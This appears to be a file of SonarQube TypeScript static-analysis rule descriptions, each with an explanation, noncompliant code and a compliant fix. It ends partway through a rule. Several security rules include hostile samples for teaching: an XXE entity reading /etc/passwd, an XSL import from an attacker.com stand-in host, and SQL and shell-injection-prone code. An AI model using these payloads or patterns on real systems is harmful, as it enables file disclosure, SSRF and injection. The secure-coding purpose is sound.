 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
typescript:S3513

The magic of JavaScript is that you can pass arguments to functions that don't declare parameters, and on the other side, you can use those passed-in arguments inside the no-args function.

But just because you can, that does't mean you should. The expectation and use of arguments inside functions that don't explicitly declare them is confusing to callers. No one should ever have to read and fully understand a function to be able to use it competently.

If you don't want to name arguments explicitly, use the ... syntax to specify that an a variable number of arguments is expected. Then inside the function, you'll be dealing with a first-class array, rather than an array-like structure.

Noncompliant Code Example

function concatenate() {
  let args = Array.prototype.slice.call(arguments);  // Noncompliant
  return args.join(', ');
}

function doSomething(isTrue) {
  var args = Array.prototype.slice.call(arguments, 1); // Noncompliant
  if (!isTrue) {
    for (var arg of args) {
      ...
    }
  }
}

Compliant Solution

function concatenate(...args) {
  return args.join(', ');
}

function doSomething(isTrue, ...values) {
  if (!isTrue) {
    for (var value of values) {
      ...
    }
  }
}
typescript:S2424

Overriding an object changes its behavior and could potentially impact all code using that object. Overriding standard, built-in objects could therefore have broad, potentially catastrophic effects on previously-working code.

This rule detects overrides of the following native objects:

  • Fundamental objects - Object, Function, Boolean, Symbol, Error, EvalError, InternalError, RangeError, ReferenceError, SyntaxError, TypeError, URIError
  • Numbers and dates - Number, Math, Date
  • Text processing - String, RegExp
  • Indexed collections - Array, Int8Array, Uint8Array, Uint8ClampedArray, Int16Array, Unit16Array, Int32Array, Uint32Array, Float32Array, Float64Array
  • Keyed collections - Map, Set, WeakMap, WeakSet
  • Structured data - ArrayBuffer, DataView, JSON
  • Control abstraction objects - Promise
  • Reflection - Reflect, Proxy
  • Internationalization - Intl
  • Non-standard objects - Generator, Iterator, ParallelArray, StopIteration
typescript:S4721

Arbitrary OS command injection vulnerabilities are more likely when a shell is spawned rather than a new process, indeed shell meta-chars can be used (when parameters are user-controlled for instance) to inject OS commands.

Ask Yourself Whether

  • OS command name or parameters are user-controlled.

There is a risk if you answered yes to any of this questions.

Recommended Secure Coding Practices

Use functions that don't spawn a shell.

Sensitive Code Example

const cp = require('child_process');

// A shell will be spawn in these following cases:
cp.exec(str); // Sensitive
cp.execSync(str); // Sensitive

cp.spawn(str, { shell: true }); // Sensitive
cp.spawnSync(str, { shell: true }); // Sensitive
cp.execFile(str, { shell: true }); // Sensitive
cp.execFileSync(str, { shell: true }); // Sensitive

Compliant Solution

const cp = require('child_process');

cp.execFile("/usr/bin/file.exe", { shell: false }); // Compliant (note that by default with execFile method, shell property is set to false)

See

typescript:S3512

ECMAScript 2015 added the ability to use template literals instead of concatenation. Since their use is clearer and more concise, they are preferred in environments that support ECMAScript 2015.

Noncompliant Code Example

function sayHello(name) {
  console.log("hello " + name);  // Noncompliant
}

Compliant Solution

function sayHello(name) {
  console.log(`hello ${name}`);
}
typescript:S1523

Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities:

Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security.

This rule raises issues on calls to eval and Function constructor. This rule does not detect code injections. It only highlights the use of APIs which should be used sparingly and very carefully. The goal is to guide security code reviews.

Ask Yourself Whether

  • the executed code may come from an untrusted source and hasn't been sanitized.
  • you really need to run code dynamically.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Regarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser).

Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way.

Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer.

Sensitive Code Example

let value = eval('obj.' + propName); // Sensitive
let func = Function('obj' + propName); // Sensitive

Exceptions

This rule will not raise an issue when the argument of the eval or Function is a literal string as it is reasonably safe.

See

typescript:S1525

The debugger statement can be placed anywhere in procedures to suspend execution. Using the debugger statement is similar to setting a breakpoint in the code. By definition such statement must absolutely be removed from the source code to prevent any unexpected behavior or added vulnerability to attacks in production.

Noncompliant Code Example

for (i = 1; i<5; i++) {
  // Print i to the Output window.
  Debug.write("loop index is " + i);
  // Wait for user to resume.
  debugger;
}

Compliant Solution

for (i = 1; i<5; i++) {
  // Print i to the Output window.
  Debug.write("loop index is " + i);
}

See

Deprecated

This rule is deprecated; use S4507 instead.

typescript:S1526

Variables declared with var have the special property that regardless of where they're declared in a function they "float" to the top of the function and are available for use even before they're declared. That makes scoping confusing, especially for new coders.

To keep confusion to a minimum, var declarations should happen before they are used for the first time.

Noncompliant Code Example

var x = 1;

function fun(){
  alert(x); // Noncompliant as x is declared later in the same scope
  if(something) {
    var x = 42; // Declaration in function scope (not block scope!) shadows global variable
  }
}

fun(); // Unexpectedly alerts "undefined" instead of "1"

Compliant Solution

var x = 1;

function fun() {
  print(x);
  if (something) {
    x = 42;
  }
}

fun(); // Print "1"
typescript:S1528

Array literals should always be preferred to Array constructors.

Array constructors are error-prone due to the way their arguments are interpreted. If more than one argument is used, the array length will be equal to the number of arguments. However, using a single argument will have one of three consequences:

  • If the argument is a number and it is a natural number the length will be equal to the value of the argument.
let arr = new Array(3); // [empty × 3]
  • If the argument is a number, but not a natural number an exception will be thrown.
let arr = new Array(3.14);  // RangeError: Invalid array length
  • Otherwise the array will have one element with the argument as its value.
let arr = new Array("3");  // ["3"]

Note that even if you set the length of an array, it will be empty. That is, it will have the number of elements you declared, but they won't contain anything, so no callbacks will be applied to the array elements.

For these reasons, if someone changes the code to pass 1 argument instead of 2 arguments, the array might not have the expected length. To avoid these kinds of weird cases, always use the more readable array literal initialization format.

Noncompliant Code Example

let myArray = new Array(x1, x2, x3);   // Noncompliant. Results in 3-element array.
let emptyArray = new Array();          // Noncompliant. Results in 0-element array.

let unstableArray = new Array(n);      // Noncompliant. Variable in results.

let arr = new Array(3); // Noncompliant; empty array of length 3
arr.foreach((x) => alert("Hello " + x)); // callback is not executed because there's nothing in arr
let anotherArr = arr.map(() => 42); // anotherArr is also empty because callback didn't execute

Compliant Solution

let myArray = [x1, x2, x3];
let emptyArray = [];

// if "n" is the only array element
let unstableArray = [n];
// or,  if "n" is the array length (since ES 2015)
let unstableArray = Array.from({length: n});

let arr = ["Elena", "Mike", "Sarah"];
arr.foreach((x) => alert("Hello " + x));
let anotherArr = arr.map(() => 42);  // anotherArr now holds 42 in each element
typescript:S2737

A catch clause that only rethrows the caught exception has the same effect as omitting the catch altogether and letting it bubble up automatically, but with more code and the additional detriment of leaving maintainers scratching their heads.

Such clauses should either be eliminated or populated with the appropriate logic.

Noncompliant Code Example

try {
  doSomething();
} catch (ex) {  // Noncompliant
  throw ex;
}

Compliant Solution

try {
  doSomething();
} catch (ex) {
  console.err(ex);
  throw ex;
}

or

doSomething();
typescript:S1529

The bitwise operators &, | can be mistaken for the boolean operators && and ||.

This rule raises an issue when & or | is used in a boolean context.

Noncompliant Code Example

if (a & b) { ... } // Noncompliant; & used in error

Compliant Solution

if (a && b) { ... }

Exceptions

When a file contains other bitwise operations, (^, <<, >>>, >>, ~, &=, ^=, |=, <<=, >>=, >>>= and & or | used with a numeric literal as the right operand) all issues in the file are ignored, because it is evidence that bitwise operations are truly intended in the file.

typescript:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z][a-zA-Z0-9]*$:

function DoSomething(){...}  // Noncompliant

Compliant Solution

function doSomething(){...}
typescript:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names (and interfaces for TypeScript) match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

class my_class {...}

Compliant Solution

class MyClass {...}
typescript:S1763

Jump statements (return, break and continue) and throw expressions move control flow out of the current code block. So any statements that come after a jump are dead code.

Noncompliant Code Example

function fun(a) {
  var i = 10;
  return i + a;
  i++;             // Noncompliant; this is never executed
}

Compliant Solution

function fun(int a) {
  var i = 10;
  return i + a;
}

Exceptions

This rule ignores unreachable break statements in switch clauses.

switch (x) {
  case 42:
     return 43;
     break;   // Compliant
  default:
    doSomething();
}

Hoisted variables declarations without initialization are always considered reachable.

function bar() {
  return x = function() {
    x.foo = 42;
  }
  var x;
}

See

typescript:S5689

Disclosing technology fingerprints allows an attacker to gather information about the technologies used to develop the web application and to perform relevant security assessments more quickly (like the identification of known vulnerable components).

Ask Yourself Whether

  • The x-powered-by HTTP header or similar is used by the application.
  • Technologies used by the application are confidential and should not be easily guessed.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

It's recommended to not disclose technologies used on a website, with x-powered-by HTTP header for example.

In addition, it's better to completely disable this HTTP header rather than setting it a random value.

Sensitive Code Example

Express.js name is disclosed by default into the x-powered-by HTTP header:

let express = require('express');
let app = express(); // Sensitive

app.get('/', function (req, res) {
  res.send('hello')
});

Compliant Solution

x-powered-by HTTP header should be disabled in Express.js with app.disable or with helmet hidePoweredBy middleware:

let express = require('express');

let app1 = express();  // Compliant
app1.disable("x-powered-by");

let helmet = require("helmet");
let app2 = express(); // Compliant
app2.use(helmet.hidePoweredBy());

See

typescript:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Noncompliant Code Example

if (a == b && a == b) { // if the first one is true, the second one is too
  doX();
}
if (a > a) { // always false
  doW();
}

var j = 5 / 5; //always 1
var k = 5 - 5; //always 0

Exceptions

The specific case of testing one variable against itself is a valid test for NaN and is therefore ignored.

Similarly, left-shifting 1 onto 1 is common in the construction of bit masks, and is ignored.

Moreover comma operator , and instanceof operator are ignored as there are use-cases when there usage is valid.

if (f !== f) { // test for NaN value
  console.log("f is NaN");
}

var i = 1 << 1; // Compliant
var j = a << a; // Noncompliant

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
typescript:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Exceptions

To prevent generating some false-positives, literals having less than 10 characters are excluded as well as literals matching /^\w*$/. String literals inside import/export statements and JSX attributes are also ignored. The same goes for statement-like string literals, e.g. 'use strict';.

typescript:S3812

Mixing up the order of operations will almost always yield unexpected results.

Similarly, mis-applied negation will also yield bad results. For instance consider the difference between !key in dict and !(key in dict). The first looks for a boolean value (!key) in dict, and the other looks for a string and inverts the result. !obj instanceof SomeClass has the same problem.

This rule raises an issue when the left operand of an in or instanceof operator is negated.

Noncompliant Code Example

if (!"prop" in myObj) {  // Noncompliant;  "in" operator is checking property "false"
  doTheThing();  // this block will be never executed
}

if (!foo instanceof MyClass) {  // Noncompliant; "!foo" returns a boolean, which is not an instance of anything
  doTheOtherThing();  // this block is never executed
}

Compliant Solution

if (!("prop" in myObj)) {
  doTheThing();
}

if (!(foo instanceof MyClass)) {
  doTheOtherThing();
}
typescript:S1515

Defining a function inside of a loop can yield unexpected results. Such a function keeps references to the variables which are defined in outer scopes. All function instances created inside the loop therefore see the same values for these variables, which is probably not expected.

Noncompliant Code Example

var funs = [];
for (var i = 0; i < 13; i++) {
  funs[i] = function() { // Non-Compliant
    return i;
  };
}
console.log(funs[0]()); // 13 instead of 0
console.log(funs[1]()); // 13 instead of 1
console.log(funs[2]()); // 13 instead of 2
console.log(funs[3]()); // 13 instead of 3
...
typescript:S2966

The point of declaring an optional property or parameter is to make explicit the fact that it might contain no valid value, i.e. null or undefined. Using a non-null assertion (the !. operator) will lead to a runtime error if the optional does contain null or undefined. Even if the value is tested first, it's still considered a bad practice to use a non-null assertion.

Noncompliant Code Example

function doTheThing(foo?: Foo) {
  let s = foo!.bar;  // Noncompliant
}

Compliant Solution

function doTheThing(foo?: Foo) {
  if (foo) {
    let s = foo.bar;
  }
}
typescript:S1516

Continuing a string across a linebreak is supported in most script engines, but it is not a part of ECMAScript. Additionally, the whitespace at the beginning of each line can't be safely stripped at compile time, and any whitespace after the slash will result in tricky errors.

Noncompliant Code Example

var myString = 'A rather long string of English text, an error message \
                actually that just keeps going and going -- an error \
                message to make the Energizer bunny blush (right through \
                those Schwarzenegger shades)! Where was I? Oh yes, \
                you\'ve got an error and all the extraneous whitespace is \
                just gravy.  Have a nice day.';  // Noncompliant

Compliant Solution

var myString = 'A rather long string of English text, an error message ' +
    'actually that just keeps going and going -- an error ' +
    'message to make the Energizer bunny blush (right through ' +
    'those Schwarzenegger shades)! Where was I? Oh yes, ' +
    'you\'ve got an error and all the extraneous whitespace is ' +
    'just gravy.  Have a nice day.';
typescript:S3498

When an already-defined variable is given the same name within a new object, object-shorthand syntax is preferred as being more compact. Similarly, object-shorthand is also preferred for the definition of functions in object literals.

Noncompliant Code Example

let a = 1;

let myObj = {
  a : a,  // Noncompliant
  fun: function () {  // Noncompliant
    //...
  }
}

Compliant Solution

let a = 1;

let myObj = {
  a,
  fun () {
    //...
  }
}
typescript:S1871

Having two cases in a switch statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a switch, one should fall through to the other.

Noncompliant Code Example

switch (i) {
  case 1:
    doFirstThing();
    doSomething();
    break;
  case 2:
    doSomethingDifferent();
    break;
  case 3:  // Noncompliant; duplicates case 1's implementation
    doFirstThing();
    doSomething();
    break;
  default:
    doTheRest();
}

if (a >= 0 && a < 10) {
  doFirstThing();
  doTheThing();
}
else if (a >= 10 && a < 20) {
  doTheOtherThing();
}
else if (a >= 20 && a < 50) {
  doFirstThing();
  doTheThing();  // Noncompliant; duplicates first condition
}
else {
  doTheRest();
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a switch statement that contain a single line of code with or without a following break.

if (a == 1) {
  doSomething();  //no issue, usually this is done on purpose to increase the readability
} else if (a == 2) {
  doSomethingElse();
} else {
  doSomething();
}

But this exception does not apply to if chains without else-s, or to switch-es without default clauses when all branches have the same single line of code. In case of if chains with else-s, or of switch-es with default clauses, rule S3923 raises a bug.

if (a == 1) {
  doSomething();  //Noncompliant, this might have been done on purpose but probably not
} else if (a == 2) {
  doSomething();
}
typescript:S3257

Unnecessarily verbose declarations and initializations make it harder to read the code, and should be simplified. Specifically, primitive (number, string, boolean and others) types should be omitted from variable and parameter declaration when they can be easily inferred from the initialized or defaulted value.

Noncompliant Code Example

const n: number = 1; // Noncompliant, "number" can be omitted

function foo(s: string = "") {} // Noncompliant, "string" can be omitted

class Bar {
  b: boolean = true;  // Noncompliant, "boolean" can be omitted
}

Compliant Solution

const n = 1;

function foo(s = "") {}

class Bar {
  b = true;
}
typescript:S3499

Grouping all the shorthand declarations together in an object makes the declaration as a whole more readable. This rule accepts shorthand declarations grouped at either the beginning or end of an object.

Noncompliant Code Example

let obj1 = {
  foo,
  a: 1,
  color,  // Noncompliant
  b: 2,
  judyGarland  // Noncompliant
}

Compliant Solution

let obj1 = {
  foo,
  color,
  judyGarland,
  a: 1,
  b: 2
}

or

let obj1 = {
  a: 1,
  b: 2,
  foo,
  color,
  judyGarland
}
typescript:S1751

A loop with at most one iteration is equivalent to the use of an if statement to conditionally execute one piece of code. No developer expects to find such a use of a loop statement. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead.

At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested return, break or throw statements in a more appropriate way.

Noncompliant Code Example

for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once
  console.log("i is " + i);
  break;
}
...
for (let i = 0; i < 10; i++) { // noncompliant, loop only executes once
  if (i == x) {
    break;
  } else {
    console.log("i is " + i);
    return;
  }
}

Compliant Solution

for (let i = 0; i < 10; i++) {
  console.log("i is " + i);
}
...
for (let i = 0; i < 10; i++) {
  if (i == x) {
    break;
  } else {
    console.log("i is " + i);
  }
}
typescript:S1994

It can be extremely confusing when a for loop's counter is incremented outside of its increment clause. In such cases, the increment should be moved to the loop's increment clause if at all possible.

Noncompliant Code Example

for (i = 0; i < 10; j++) { // Noncompliant
  // ...
  i++;
}

Compliant Solution

for (i = 0; i < 10; i++, j++) {
  // ...
}

Or

for (i = 0; i < 10; i++) {
  // ...
  j++;
}
typescript:S1874

Once deprecated, classes, and interfaces, and their members should be avoided, rather than used, inherited or extended. Deprecation is a warning that the class or interface has been superseded, and will eventually be removed. The deprecation period allows you to make a smooth transition away from the aging, soon-to-be-retired technology.

Noncompliant Code Example

export interface LanguageService {
  /**
  * @deprecated Use getEncodedSyntacticClassifications instead.
  */
  getSyntacticClassifications(fileName: string, span: TextSpan): ClassifiedSpan[];
}

const syntacticClassifications = getLanguageService().getSyntacticClassifications(file, span); // Noncompliant

See

typescript:S117

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule checks that all variable, property and parameter names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[_$A-Za-z][$A-Za-z0-9]*$|^[_$A-Z][_$A-Z0-9]+$:

const foo_bar = 1;
const baz_ = 2;

Compliant Solution

const fooBar = 1;
const _baz = 2;
typescript:S113

Some tools work better when files end with an empty line.

This rule simply generates an issue if it is missing.

For example, a Git diff looks like this if the empty line is missing at the end of the file:

+class Test {
+}
\ No newline at end of file
typescript:S1788

The ability to define default values for function parameters can make a function easier to use. Default parameter values allow callers to specify as many or as few arguments as they want while getting the same functionality and minimizing boilerplate, wrapper code.

But all function parameters with default values should be declared after the function parameters without default values. Otherwise, it makes it impossible for callers to take advantage of defaults; they must re-specify the defaulted values or pass undefined in order to "get to" the non-default parameters.

Noncompliant Code Example

function multiply(a = 1, b) {  // Noncompliant
  return a*b;
}

var x = multiply(42);  // returns NaN as b is undefined

Compliant Solution

function multiply(b, a = 1) {
  return a*b;
}

var x = multiply(42);  // returns 42 as expected
typescript:S3723

Modern browsers ignore unneeded, trailing commas, so there are no negatives to having them unless you're supporting an IE 8 application. Since they make adding new properties simpler, their use is preferred. This rule raises an issue when the last item in an object declaration or array declaration does not end with a trailing comma and does not lie on the same line as the closing curly brace or bracket.

Noncompliant Code Example

var joe = {
  fname: "Joe",
  lname: "Smith"      // Noncompliant
};

Compliant Solution

var joe = {
  fname: "Joe",
  lname: "Smith",    // OK
};

var joe = {
  fname: "Joe",
  lname: "Smith"};   // OK
typescript:S2755

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

Noncompliant Code Example

libxmljs module:

const libxmljs = require("libxmljs");
var fs = require('fs');

var xml = fs.readFileSync('xxe.xml', 'utf8');

var xmlDoc = libxmljs.parseXmlString(xml, { noblanks: true, noent: true, nocdata: true }); // Noncompliant: noent set to true

Compliant Solution

libxmljs module:

const libxmljs = require("libxmljs");
var fs = require('fs');

var xml = fs.readFileSync('xxe.xml', 'utf8');

var xmlDoc = libxmljs.parseXmlString(xml); // Compliant: noent set to false by default

See

typescript:S2999

The new keyword should only be used with objects that define a constructor function. Use it with anything else, and you'll get a TypeError because there won't be a constructor function for the new keyword to invoke.

Noncompliant Code Example

function MyClass() {
  this.foo = 'bar';
}

var someClass = 1;

var obj1 = new someClass;    // Noncompliant;
var obj2 = new MyClass();    // Noncompliant if considerJSDoc parameter set to true. Compliant when considerJSDoc=false

Compliant Solution

/**
 * @constructor
 */
function MyClass() {
  this.foo = 'bar';
}

var someClass = function(){
  this.prop = 1;
}

var obj1 = new someClass;  // Compliant
var obj2 = new MyClass();  // Compliant regardless of considerJSDoc value
typescript:S2757

The use of operators pairs (=+, =- or =!) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =- and =! are used without any space between the two operators and when there is at least one whitespace after.

Noncompliant Code Example

let target =-5;
let num = 3;

target =- num;  // Noncompliant; target = -3. Is that really what's meant?
target =+ num; // Noncompliant; target = 3

Compliant Solution

let target = -5;
let num = 3;

target = -num;  // Compliant; intent to assign inverse value of num is clear
target += num;
typescript:S4818

Using sockets is security-sensitive. It has led in the past to the following vulnerabilities:

Sockets are vulnerable in multiple ways:

  • They enable a software to interact with the outside world. As this world is full of attackers it is necessary to check that they cannot receive sensitive information or inject dangerous input.
  • The number of sockets is limited and can be exhausted. Which makes the application unresponsive to users who need additional sockets.

This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections.

Ask Yourself Whether

  • sockets are created without any limit every time a user performs an action.
  • input received from sockets is used without being sanitized.
  • sensitive data is sent via sockets without being encrypted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In many cases there is no need to open a socket yourself. Use instead libraries and existing protocols.
  • Encrypt all data sent if it is sensitive. Usually it is better to encrypt it even if the data is not sensitive as it might change later.
  • Sanitize any input read from the socket.
  • Limit the number of sockets a given user can create. Close the sockets as soon as possible.

Sensitive Code Example

const net = require('net');

var socket = new net.Socket(); // Sensitive
socket.connect(80, 'google.com');

// net.createConnection creates a new net.Socket, initiates connection with socket.connect(), then returns the net.Socket that starts the connection
net.createConnection({ port: port }, () => {}); // Sensitive

// net.connect is an alias to net.createConnection
net.connect({ port: port }, () => {}); // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

typescript:S4817

Executing XPATH expressions is security-sensitive. It has led in the past to the following vulnerabilities:

User provided data such as URL parameters should always be considered as untrusted and tainted. Constructing XPath expressions directly from tainted data enables attackers to inject specially crafted values that changes the initial meaning of the expression itself. Successful XPath injections attacks can read sensitive information from the XML document.

Ask Yourself Whether

  • the XPATH expression might contain some unsafe input coming from a user.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Sanitize any user input before using it in an XPATH expression.

Sensitive Code Example

// === Server side ===

var xpath = require('xpath');
var xmldom = require('xmldom');

var doc = new xmldom.DOMParser().parseFromString(xml);
var nodes = xpath.select(userinput, doc); // Sensitive
var node = xpath.select1(userinput, doc); // Sensitive
// === Client side ===

// Chrome, Firefox, Edge, Opera, and Safari use the evaluate() method to select nodes:
var nodes = document.evaluate(userinput, xmlDoc, null, XPathResult.ANY_TYPE, null); // Sensitive

// Internet Explorer uses its own methods to select nodes:
var nodes = xmlDoc.selectNodes(userinput); // Sensitive
var node = xmlDoc.SelectSingleNode(userinput); // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

typescript:S2990

When the keyword this is used outside of an object, it refers to the global this object, which is the same thing as the window object in a standard web page. Such uses could be confusing to maintainers. Instead, simply drop the this, or replace it with window; it will have the same effect and be more readable.

Noncompliant Code Example

this.foo = 1;   // Noncompliant
console.log(this.foo); // Noncompliant

function MyObj() {
  this.foo = 1; // Compliant
}

MyObj.func1 = function() {
  if (this.foo == 1) { // Compliant
    // ...
  }
}

Compliant Solution

foo = 1;
console.log(foo);

function MyObj() {
  this.foo = 1;
}

MyObj.func1 = function() {
  if (this.foo == 1) {
    // ...
  }
}
typescript:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

foo(); bar(); // Noncompliant

Compliant Solution

foo();
bar();
typescript:S2077

Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities:

* CVE-2018-9019

* CVE-2018-7318

* CVE-2017-5611

SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms.

This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice.

This rule raises an issue when any of the following NodeJS APIs are used:

  • mysql.query()
  • mysql2.query()
  • pg.query()
  • sequelize.query()

The following formatting methods will raise an issue:

  • "string" + "string" concatenation
  • `string ${var}` templates
  • string.concat()
  • string.replace()

Ask Yourself Whether

  • the SQL query is built using string formatting technics, such as concatenating variables.
  • some of the values are coming from an untrusted source and are not sanitized.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Avoid building queries manually using formatting technics. If you do it anyway, do not include user input in this building process.
  • Use parameterized queries, prepared statements, or stored procedures whenever possible.
  • You may also use ORM frameworks such as Hibernate which, if used correctly, reduce injection risks.
  • Avoid executing SQL queries containing unsafe input in stored procedures or functions.
  • Sanitize every unsafe input.

You can also reduce the impact of an attack by using a database account with low privileges.

Sensitive Code Example

// === MySQL ===
const mysql = require('mysql');
const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db });
mycon.connect(function(err) {
  mycon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive
});

// === PostgreSQL ===
const pg = require('pg');
const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db });
pgcon.connect();
pgcon.query('SELECT * FROM users WHERE id = ' + userinput, (err, res) => {}); // Sensitive

Compliant Solution

// === MySQL ===
const mysql = require('mysql');
const mycon = mysql.createConnection({ host: host, user: user, password: pass, database: db });
mycon.connect(function(err) {
  mycon.query('SELECT name FROM users WHERE id = ?', [userinput], (err, res) => {});
});

// === PostgreSQL ===
const pg = require('pg');
const pgcon = new pg.Client({ host: host, user: user, password: pass, database: db });
pgcon.connect();
pgcon.query('SELECT name FROM users WHERE id = $1', [userinput], (err, res) => {});

Exceptions

This rule's current implementation does not follow variables. It will only detect SQL queries which are formatted directly in the function call.

const sql = 'SELECT * FROM users WHERE id = ' + userinput;
mycon.query(sql, (err, res) => {}); // Sensitive but no issue is raised.

See

typescript:S4136

For clarity, all overloads of the same method should be grouped together. That lets both users and maintainers quickly understand all the current available options.

Noncompliant Code Example

interface MyInterface {
  doTheThing(): number;
  doTheOtherThing(): string;
  doTheThing(str: string): string;  // Noncompliant
}

Compliant Solution

interface MyInterface {
  doTheThing(): number;
  doTheThing(str: string): string;
  doTheOtherThing(): string;
}
typescript:S2871

The default sort order is alphabetic, rather than numeric, regardless of the types in the array. Specifically, even if an array contains only numbers, all values in it will be converted to strings and sorted lexicographically, for an order like this: 1, 15, 2, 20, 5.

Fortunately the sort method allows you to pass an optional compare function to specify the sort order. When a compare function is supplied, the returned order depends on the return value of the compare function.

Noncompliant Code Example

var myarray = [80, 3, 9, 34, 23, 5, 1];

myarray.sort();
console.log(myarray); // outputs: [1, 23, 3, 34, 5, 80, 9]

Compliant Solution

var myarray = [80, 3, 9, 34, 23, 5, 1];

myarray.sort((a, b) => (a - b));
console.log(myarray); // outputs: [1, 3,  5, 9, 23, 34, 80]
typescript:S121

While not technically incorrect, the omission of curly braces can be misleading, and may lead to the introduction of errors during maintenance.

Noncompliant Code Example

if (condition)  // Noncompliant
  executeSomething();

Compliant Solution

if (condition) {
  executeSomething();
}

See

  • CERT, EXP19-C. - Use braces for the body of an if, for, or while statement
  • CERT, EXP52-J. - Use braces for the body of an if, for, or while statement
typescript:S2870

The delete operator can be used to remove a property from any object. Arrays are objects, so the delete operator can be used here too, but if it is, a hole will be left in the array because the indexes/keys won't be shifted to reflect the deletion.

The proper method for removing an element at a certain index would be:

  • Array.prototype.splice - add/remove elements from the array
  • Array.prototype.pop - add/remove elements from the end of the array
  • Array.prototype.shift - add/remove elements from the beginning of the array

Noncompliant Code Example

var myArray = ['a', 'b', 'c', 'd'];

delete myArray[2];  // Noncompliant. myArray => ['a', 'b', undefined, 'd']
console.log(myArray[2]); // expected value was 'd' but output is undefined

Compliant Solution

var myArray = ['a', 'b', 'c', 'd'];

// removes 1 element from index 2
removed = myArray.splice(2, 1);  // myArray => ['a', 'b', 'd']
console.log(myArray[2]); // outputs 'd'
typescript:S1541

The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly.

typescript:S4139

If you have an iterable, such as an array, set, or list, your best option for looping through its values is the for of syntax. Use for in and you'll iterate the properties, rather than the values.

Noncompliant Code Example

const arr = [4, 3, 2, 1];

for (let value in arr) {  // Noncompliant
  console.log(value);  // logs 0, 1, 2, 3
}

Compliant Solution

const arr = [4, 3, 2, 1];

for (let value of arr) {
  console.log(value);
}
typescript:S4137

Type assertion can be done in two ways: with as MyType or with <MyType>. But since there is an ambiguity in the latter when using JSX and there is no ambiguity in the former, as is preferred.

Noncompliant Code Example

var foo = <any>"foo";  // Noncompliant

Compliant Solution

var foo = "foo" as any;
typescript:S1301

switch statements are useful when there are many different cases depending on the value of the same expression.

For just one or two cases however, the code will be more readable with if statements.

Noncompliant Code Example

switch (variable) {
  case 0:
    doSomething();
    break;
  default:
